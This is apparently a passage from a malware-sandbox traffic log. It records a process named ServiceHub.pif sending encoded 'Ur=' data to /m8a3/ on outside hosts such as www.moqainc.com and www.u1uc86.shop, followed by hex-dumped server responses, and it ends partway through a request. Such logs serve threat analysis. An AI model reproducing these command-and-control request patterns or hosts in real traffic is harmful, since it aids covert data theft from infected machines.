63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3
                                        Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3>
                                        Jul 24, 2023 10:32:59.015541077 CEST984INData Raw: c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                        Data Ascii: </h3> </fieldset></div></div></body></html>


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        3192.168.2.549721156.237.252.5080C:\Users\user\Documents\ServiceHub.pif
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:30:57.899370909 CEST891OUTPOST /m8a3/ HTTP/1.1
                                        Host: www.moqainc.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Encoding: gzip, deflate
                                        Accept-Language: en-US
                                        Content-Type: application/x-www-form-urlencoded
                                        Content-Length: 183
                                        Cache-Control: no-cache
                                        Connection: close
                                        Origin: http://www.moqainc.com
                                        Referer: http://www.moqainc.com/m8a3/
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Data Raw: 55 72 3d 37 4e 2f 54 73 4b 44 41 62 6d 4e 65 79 76 75 66 7a 47 32 52 73 6d 48 36 6a 79 39 6f 77 58 42 6f 69 30 34 4f 4f 6f 48 4c 39 58 32 48 43 34 74 2f 43 34 34 63 4c 39 5a 78 57 6b 48 78 37 6c 68 38 6a 50 4a 53 47 4f 64 4d 67 67 51 6a 79 65 52 72 61 64 6d 4d 47 4d 71 4c 61 33 2b 62 51 49 35 4b 31 72 63 56 5a 66 70 31 37 54 4f 4c 51 65 56 67 72 51 42 36 44 63 74 4f 61 51 32 74 38 63 33 70 75 65 2b 41 4a 68 46 31 35 6a 47 37 62 49 79 33 53 6d 62 6f 71 78 47 2f 38 77 78 49 41 76 6a 73 47 53 2f 76 36 4f 2f 55 35 54 45 42 49 61 69 2b 6b 41 3d 3d
                                        Data Ascii: Ur=7N/TsKDAbmNeyvufzG2RsmH6jy9owXBoi04OOoHL9X2HC4t/C44cL9ZxWkHx7lh8jPJSGOdMggQjyeRradmMGMqLa3+bQI5K1rcVZfp17TOLQeVgrQB6DctOaQ2t8c3pue+AJhF15jG7bIy3SmboqxG/8wxIAvjsGS/v6O/U5TEBIai+kA==
                                        Jul 24, 2023 10:30:58.154005051 CEST892INHTTP/1.1 200 OK
                                        Server: nginx
                                        Date: Mon, 24 Jul 2023 08:31:09 GMT
                                        Content-Type: text/html; charset=UTF-8
                                        Transfer-Encoding: chunked
                                        Connection: close
                                        Vary: Accept-Encoding
                                        Content-Encoding: gzip
                                        Data Raw: 31 30 63 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 bd 5b 5d 53 5a 5b 9a be 9e fe 15 8c 17 53 35 5d a3 20 26 26 99 31 a9 4a d2 49 77 57 f7 99 9c 9e 73 32 27 33 37 5d 88 44 c9 41 e0 00 e6 c4 53 73 01 2a 0a 88 80 8a f8 05 2a 2a a2 31 02 46 14 04 81 aa fe 2b cd 5a 7b ef ab fc 85 79 d6 de 1b 02 82 7c 1c 9d b1 4a dc 9b bd f6 bb de f5 be cf fb b9 96 43 ff f8 bb 57 cf bf ff af 6f 5f 28 c6 6c e3 86 27 bf 19 aa fc d1 69 46 9e fc 46 81 9f a1 71 9d 4d 83 a7 36 73 af ee a7 09 fd fb c7 3d 6f 7a 5f 3f ed 7d 6e 1a 37 6b 6c fa 61 83 ae 47 a1 35 19 6d 3a a3 ed 71 cf 1f 5f 3c 7e 31 32 aa eb 91 df 1c d6 58 75 0a 9b c6 32 aa c3 b3 bf da 4c e6 ca 03 91 a4 76 4c 63 b1 b2 27 13 b6 b7 bd 0f eb 1e 19 35 e3 ba c7 3d 16 9d 71 44 67 d1 59 6a 26 f8 59 37 fc a3 de d6 64 ec 7b bd ee 67 b3 c9 62 ab 1d ab 1f b1 8d 3d 1e d1 bd d7 6b 75 bd 3f b3 9b 7f d1 1b f5 36 bd c6 d0 6b d5 6a 0c ba c7 fd 15 3a 36 bd cd a0 7b 22 4c a7 49 66 8b 46 a7 84 b5 33 52 9a e5 43 33 34 bc 40 3c 51 1a 76 0b eb 01 e2 fc 44 fc d9 21 a5 34 b6 46 32 12 af 23 3a ab d6 a2 37 db f4 26 63 0d 0b 9d 90 ac 30 61 d0 1b 7f 54 58 74 86 c7 3d 56 db a4 41 67 1d d3 e9 b0 1a db a4 19 92 b0 e9 3e d8 94 5a ab b5 47 31 66 d1 bd 7d dc c3 b4 f1 af 4a a5 75 6c 6c 42 f3 8b be 4f 6b 54 fe 32 fc d7 09 ab ce 62 55 da c6 74 e3 3a e5 e4 c8 3b bd 71 74 5c af 14 69 49 9f 7d 8c 00 34 ac 1c 13 75 3b 34 6c 1a 99 94 15 35 a2 7f af d0 8f 80 2e 9e 40 de d2 b7 a2 f2 d9 13 ad 41 63 b5 36 79 78 7d 80 c1 34 6a 12 b1 a0 d1 1b 19 15 c5 90 a6 43 a1 6a 30 56 89 a9 6a 26 be 76 5b e1 d0 a8 79 0f f9 4a 0c d5 4c 25 ea a3 f2 23 32 cd 96 33 6e c2 f0 61 11 40 d2 1b ec ed af 73 54 c7 4f 18 6a 06 0c 6b 6a 05 50 47 d7 a0 17 c9 1a df 6b 30 a8 57 6f d3 8d f7 ea 01 d1 0f 55 fa 1a ad 4d ff 1e f0 17 57 7e 10 12 a2 e7 43 4a cd 93 21 a5 41 df 38 ab 28 bd 0a 45 b0 09 8a 66 cd a8 ae 77 40 7a 9d 38 cf ca 39 1f 75 2d 96 f3 9f ba 22 a2 d5 d8 74 a3 26 cb e4 57 42 0c b8 e5 5c 9c 2c 3b ba 22 24 72 73 5f e6 26 98 20 01 1f 75 97 f8 64 ae 7b 22 83 32 91 c4 2e 75 65 68 d4 55 2e ce 77 4f e4 81 44 84 77 04 b9 b3 7c 3b b9 0c 29 27 e0 cc ea 94 27 02 4a 31 a4 1f 1f 55 58 2d da aa 0d e1 be 4f 63 d0 6b 47 8c 7d 5a d3 b8 12 b7 b0 35 8b 46 a9 1f 50 aa d5 8f 54 0f ee 0d 0c 0e 2a bf 7f a6 1e fd e5 9d 76 f2 0f cf c6 cd 13 2f df 7d f7 df 2f 9f be 79 a3 f9 8b ca fc 46 d3 5b 1d d5 f7 ce 3c da a3 d0 18 e0 d1 14 fd 7d 64 3f 2d 4c 1f 0a bb 33 dc ca 7a ad 41 7d c5 b5 84 78 f0 28 39 93 2a 68 61 3d 37 58 e0 38 1e 7d 35 30 f5 35 28 d7 d9 aa c9 c6 fc 52 33 b0 d7 5a b4 c9 36 6c b2 88 16 7f cd fc ea 4c a9 62 ff 26 1b f3 43 1d 8f 65 43 99 21 70 d3 27 64 21 c4 7d 2e 0a 76 77 af e4 58 c9 5c ae 8a c6 3a b3 17 8d a2 de f4 c5 af ea 98 1e d7 99 2d a6 91 09 6d 25 0e d4 a9 f9 ba de ab 2b b9 c9 06 af d3 97 69 03 08 4d a4 57 37 55 0d 53 c3 fa 51 f1 05 b6 de a6 18 53 a9 fa fb c6 b4 03 83 2a e6 ac 7f 1c 50 7e a3 7a aa ec bf af 1c 78 a1 fc e1 f7 c3 83 83 fd 23 0f 81 a3 7e 9d f6 81 fa 5e bf ee d9 fd 07 0f ee df 7b f4 e8 d1 7d f5 a3 91 97 4f 07 18 b2 fa fa d4 6a d5 07 fc 6a 6a 70 76 8f 6c 16 84 8f 5e 61 69 8b 86 73 d2 45 39 ff 91 69 a8 ea 51 19 47 ec b6 ce 18 ea 96 d1 28 ee 9b 56 29 8b c6 a2 1f 1d 6b 26 fb 9b 5e 13 43 a6 24 9b 1b b9 a8 7b 77 4c fd 84 3b c8 93 d2 b4 b0 e7 c3 c2 fa fb 7b 07 d5 4f c9 95 1f a1 4b 0d f1 5a cd 1a 23 d6 24 fe 69 4b b0 e5 da ab e0 a8
                                        Data Ascii: 10c3[]SZ[S5] &&1JIwWs2'37]DASs***1F+Z{y|JCWo_(l'iFFqM6s=oz_?}n7klaG5m:q_<~12Xu2LvLc'5=qDgYj&Y7d{gb=ku?6kj:6{"LIfF3RC34@<QvD!4F2#:7&c0aTXt=VAg>ZG1f}JullBOkT2bUt:;qt\iI}4u;4l5.@Ac6yx}4jCj0Vj&v[yJL%#23na@sTOjkjPGk0WoUMW~CJ!A8(Efw@z89u-"t&WB\,;"$rs_& ud{"2.uehU.wODw|;)''J1UX-OckG}Z5FPT*v/}/yF[<}d?-L3zA}x(9*ha=7X8}505(R3Z6lLb&CeC!p'd!}.vwX\:-m%+iMW7USQS*P~zx#~^{}Ojjjpvl^aisE9iQG(V)k&^C${wL;{OKZ#$iK
                                        Jul 24, 2023 10:30:58.154042959 CEST894INData Raw: 51 a5 75 62 58 32 1d b2 e7 a0 de 29 6e ca 4d ed be f2 a5 8b f8 43 74 23 54 2e 94 b8 e0 21 0d 5d d2 b3 15 85 50 28 f1 85 04 c9 1c 10 ff 19 5d 9d 97 c7 b9 f6 69 e8 a4 09 88 6b 97 28 82 ae b5 e0 c5 21 35 7c e9 8d 6f 4d 3d 37 c9 a5 c1 88 1a 26 ab a1
                                        Data Ascii: QubX2)nMCt#T.!]P(]ik(!5|oM=7&d #j'E-&_T9g@~}'&',C~zC~:m6Fk%zw#KKVrU#\^#_1i7 l2u800jo'5?
                                        Jul 24, 2023 10:30:58.154073954 CEST895INData Raw: ab fc 9c ec 95 b3 a9 87 a8 9e b6 e6 69 72 13 74 69 d6 49 d3 ab ed e8 36 30 56 be 5a 23 9e 12 29 66 90 1b fd c7 8b 7f ff 13 5f 48 73 cb 07 2d 17 77 9d a7 aa 20 2b b2 5a f3 09 8b c7 e5 5c 02 ad 1a 2e be cd 17 0e fe fc e2 77 c4 ef 15 22 bb 42 f4 82
                                        Data Ascii: irtiI60VZ#)f_Hs-w +Z\.w"Bs$)qCaikC6F\v=Az/tf <a7?e|>XpRZj#~uJ:;O$SY`EZ*o[.lSn9n+rA'D[l!K)Ye
                                        Jul 24, 2023 10:30:58.154150963 CEST896INData Raw: 59 b8 17 37 e4 70 98 80 a5 f3 15 03 6f a9 93 76 0c 6a 8d 5a c9 27 82 1c 72 6c c9 65 00 5b 2d 89 36 48 10 a8 ae 82 19 6b 04 8f 40 4c bb 35 36 63 ad e3 e8 2a fa f8 bb 2a 2c a5 fe 18 eb 8b 27 c4 84 b4 93 6e 70 85 fb a1 4e 3a ab 24 1a 24 01 0f 9f 59
                                        Data Ascii: Y7povjZ'rle[-6Hk@L56c**,'npN:$$YDw'enjIpfIB7(66Q@IF-N%^/qsl<mc{qp#^f]#3NAlvK"j`/jAo@$l^$


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        4192.168.2.549722156.237.252.5080C:\Users\user\Documents\ServiceHub.pif
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:31:01.193371058 CEST897OUTGET /m8a3/?Ur=2PXzv/KUOl1j1NuZtHuegUOjtHgT7zpI1k9NLrqIqxTSD5EEUqAnCL5FTmT193UJ4vU1Eo4nrGN2pIlcQ7jSI/XdQia5ZrF41g==&HlMd=4b_DnLvPevaPpfd HTTP/1.1
                                        Host: www.moqainc.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Language: en-US
                                        Connection: close
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Jul 24, 2023 10:31:01.462816954 CEST899INHTTP/1.1 200 OK
                                        Server: nginx
                                        Date: Mon, 24 Jul 2023 08:31:12 GMT
                                        Content-Type: text/html; charset=UTF-8
                                        Transfer-Encoding: chunked
                                        Connection: close
                                        Vary: Accept-Encoding
                                        Data Raw: 33 34 33 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 62 61 73 65 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 6e 64 65 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 6b 69 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 83 b4 e5 b7 9e e6 a1 82 e9 98 b3 e5 bf 86 e8 96 84 e6 9c 8d e5 8a a1 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 e9 83 b4 e5 b7 9e e6 a1 82 e9 98 b3 e5 bf 86 e8 96 84 e6 9c 8d e5 8a a1 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 68 68 75 61 7a 69 2e 63 6e 2f 7a 62 5f 75 73 65 72 73 2f 74 68 65 6d 65 2f 79 64 6a 69 6e 67 6d 69 2f 73 74 79 6c 65 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 20 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 61 3e e9 83 b4 e5 b7 9e e6 a1 82 e9 98 b3 e5 bf 86 e8 96 84 e6 9c 8d e5 8a a1 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 3c 2f 61 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6e 61 76 22 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6d 6f 6e 61 76 62 65 72 22 20 63 6c 61 73 73 3d 22 6e 61 76 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 75 6c 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 69 64 3d 22 6e 76 61 62 61 72 2d 69 74 65 6d 2d 69 6e 64 65 78 22 20 63 6c 61 73 73 3d 22 61 63 74 69 76 65 22 3e 20 3c 61 3e e9 a6 96 e9 a1 b5 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 69 64 3d 22 6e 61 76 62 61 72 2d 70 61 67 65 2d 33 22 3e 20 3c 61 3e e5 85 b3 e4 ba 8e e6 88 91 e4 bb ac 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 69 64 3d 22 6e 61 76 62 61 72 2d 63 61 74 65 67 6f 72 79 2d 33 22 3e 20 3c 61 3e e5 85 ac e5 8f b8 e4 ba a7 e5 93 81 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 69 64 3d 22 6e 61 76 62 61 72 2d 70 61 67 65 2d 35 22 3e 20 3c 61 3e e5 94 ae e5 90 8e e6 89 bf e8 af ba 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                        Data Ascii: 3432<!DOCTYPE html><html><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <base target="_top"> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title></title> <meta name="description" content=""> <link rel="stylesheet" type="text/css" href="http://shhuazi.cn/zb_users/theme/ydjingmi/style/style.css"></head><body> <div id="header"> <div class="header"> <div class="logo container"> <a></a> </div> </div> <div id="nav" class="container"> <div id="monavber" class="nav"> <ul class="navbar"> <li id="nvabar-item-index" class="active"> <a></a></li> <li id="navbar-page-3"> <a></a></li> <li id="navbar-category-3"> <a></a></li> <li id="navbar-page-5"> <a></a></li>
                                        Jul 24, 2023 10:31:01.462882042 CEST900INData Raw: 20 20 20 20 20 20 3c 6c 69 20 69 64 3d 22 6e 61 76 62 61 72 2d 70 61 67 65 2d 36 22 3e 20 3c 61 3e e5 ae a2 e6 88 b7 e6 a1 88 e4 be 8b 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 69 64 3d
                                        Data Ascii: <li id="navbar-page-6"> <a></a></li> <li id="navbar-page-7"> <a></a></li> </ul> </div> <img src="http://img.alicdn.com/imgextra/i3/229074366/TB2gzjcyHBmpuFjSZFAXXaQ0
                                        Jul 24, 2023 10:31:01.462933064 CEST901INData Raw: 88 e5 88 a4 e6 96 ad 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20
                                        Data Ascii: </div> </div> <div class="info">11-62A</div> <div class="price"> <div class="num"> <span></span>100 <i>
                                        Jul 24, 2023 10:31:01.462979078 CEST903INData Raw: 86 e4 bb aa e5 99 a8 e5 85 a8 e7 94 9f e5 91 bd e9 93 be e5 91 a8 e6 9c 9f ef bc 8c e5 a4 9a e5 b9 b4 e6 9d a5 ef bc 8c e9 83 b4 e5 b7 9e e6 a1 82 e9 98 b3 e5 bf 86 e8 96 84 e6 9c 8d e5 8a a1 e6 9c 89 e9 99 90 e5 85 ac e5 8f b8 e4 ba a7 e5 93 81
                                        Data Ascii:
                                        Jul 24, 2023 10:31:01.463064909 CEST904INData Raw: 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 73 6b 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73
                                        Data Ascii: /div> </div> <div class="gsks"> <div class="title"> <span></span> <i> </i> </div> <div class="company"> <img src="http://img.alicdn.com/imgextra/i3/229074366/TB22UWeyUlnpuFjSZ
                                        Jul 24, 2023 10:31:01.463110924 CEST905INData Raw: 6c 69 3e 20 3c 61 3e e9 92 a8 e9 92 a2 e6 9c ba e7 94 a8 e5 88 80 e7 89 87 3c 2f 61 3e 20 3c 69 3e 32 30 32 33 2d 30 35 2d 31 37 3c 2f 69 3e 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e
                                        Data Ascii: li> <a></a> <i>2023-05-17</i> </li> <li> <a></a> <i>2023-05-17</i> </li> <li> <a></a> <i>2023-05-17</i> </li> <
                                        Jul 24, 2023 10:31:01.463156939 CEST907INData Raw: 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e 20 3c 73 70 61 6e 3e 20 3c 61 3e e6 9c 80 e6 96 b0 e4 ba a7 e5 93 81 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 20 3c 69 3e 20 3c 2f 69 3e 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20
                                        Data Ascii: <div class="title"> <span> <a></a></span> <i> </i> </div> <ul> <li> <a></a> <i>2023-05-17</i> </li> <li> <a></a> <i>2023-05-17</i> </li>
                                        Jul 24, 2023 10:31:01.463202000 CEST908INData Raw: 20 3c 2f 6c 69 3e 0a 09 09 09 09 09 20 20 20 20 3c 6c 69 3e 20 3c 61 3e e6 81 92 e6 b5 81 e6 97 a0 e9 a2 91 e9 97 aa 33 30 57 6c 65 64 e5 a4 a7 e7 81 af e6 b3 a1 3c 2f 61 3e 20 3c 69 3e 32 30 32 33 2d 30 35 2d 31 37 3c 2f 69 3e 20 3c 2f 6c 69 3e
                                        Data Ascii: </li> <li> <a>30Wled</a> <i>2023-05-17</i> </li> <li> <a>40s</a> <i>2023-05-17</i> </li> <li> <a></a> <i>2023-05-17</i> </li>
                                        Jul 24, 2023 10:31:01.463247061 CEST909INData Raw: 3e 20 3c 69 3e 32 30 32 33 2d 30 35 2d 31 37 3c 2f 69 3e 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 20 3c 61 3e e9 bd bf e8 bd ae e6 80 8e e4 b9 88 e9 80 89 e6 9d 90 3c 2f 61 3e 20 3c
                                        Data Ascii: > <i>2023-05-17</i> </li> <li> <a></a> <i>2023-05-17</i> </li> <li> <a></a> <i>2023-05-17</i> </li> <li> <a>
                                        Jul 24, 2023 10:31:01.463293076 CEST911INData Raw: 09 09 09 09 09 20 20 20 20 3c 6c 69 3e 20 3c 61 3e e7 82 92 e9 85 b8 e5 a5 b6 e6 80 8e e4 b9 88 e5 81 9a 3c 2f 61 3e 20 3c 69 3e 32 30 32 33 2d 30 35 2d 31 37 3c 2f 69 3e 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                        Data Ascii: <li> <a></a> <i>2023-05-17</i> </li> <li> <a></a> <i>2023-05-17</i> </li> <li> <a></a> <i>2023-05-17</i> </li>
                                        Jul 24, 2023 10:31:01.463337898 CEST911INData Raw: 3e 20 3c 69 3e 32 30 32 33 2d 30 35 2d 31 37 3c 2f 69 3e 20 3c 2f 6c 69 3e 0a 09 09 09 09 09 20 20 20 20 3c 6c 69 3e 20 3c 61 3e 74 68 69 73 e6 80 8e e4 b9 88 e8 af bb 3c 2f 61 3e 20 3c 69 3e 32 30 32 33 2d 30 35 2d 31 37 3c 2f 69 3e 20 3c 2f 6c
                                        Data Ascii: > <i>2023-05-17</i> </li> <li> <a>this</a> <i>2023-05-17</i> </li> <li> <a></a> <i>2023-05-17</i> </li> <li> <a>opcplc</a> <i>2023-05-17</


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        5192.168.2.5497238.217.57.9180C:\Users\user\Documents\ServiceHub.pif
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:31:07.535574913 CEST914OUTPOST /m8a3/ HTTP/1.1
                                        Host: www.u1uc86.shop
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Encoding: gzip, deflate
                                        Accept-Language: en-US
                                        Content-Type: application/x-www-form-urlencoded
                                        Content-Length: 1479
                                        Cache-Control: no-cache
                                        Connection: close
                                        Origin: http://www.u1uc86.shop
                                        Referer: http://www.u1uc86.shop/m8a3/
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Data Raw: 55 72 3d 30 6a 55 6e 79 74 44 53 49 67 6a 77 72 31 4a 65 52 42 71 7a 68 48 76 76 63 74 77 6d 41 68 70 62 48 47 4b 52 43 48 4f 73 71 4f 36 72 6d 38 43 4e 4c 7a 37 72 57 71 50 51 54 48 32 31 54 4a 79 41 70 66 6f 6b 4a 63 31 36 4b 47 75 51 5a 55 35 6e 61 57 74 4a 55 55 68 75 71 48 2f 41 49 58 6b 6c 36 6f 39 71 53 63 4e 50 47 4c 54 2f 41 4a 6b 64 45 34 38 5a 67 61 62 2b 39 6d 51 31 58 42 58 41 55 41 4b 5a 57 4d 65 42 53 56 50 65 58 6f 75 49 68 44 7a 39 59 4c 73 7a 42 64 7a 6a 69 7a 70 74 48 56 35 49 6e 54 32 79 34 46 33 6b 36 52 59 50 49 79 5a 74 4c 42 55 71 38 62 5a 66 69 62 59 79 34 73 71 6d 43 76 36 65 67 45 4e 6d 75 70 73 63 38 32 65 65 43 67 44 6b 6f 2b 38 46 66 4e 79 68 38 7a 52 72 67 6c 7a 56 69 6a 33 44 6e 51 31 54 32 4b 65 69 42 49 41 78 42 41 38 37 58 69 76 47 71 75 4c 62 32 55 39 78 4b 65 37 46 72 45 4e 75 54 31 43 76 4a 70 78 2f 44 32 51 66 6f 2b 54 66 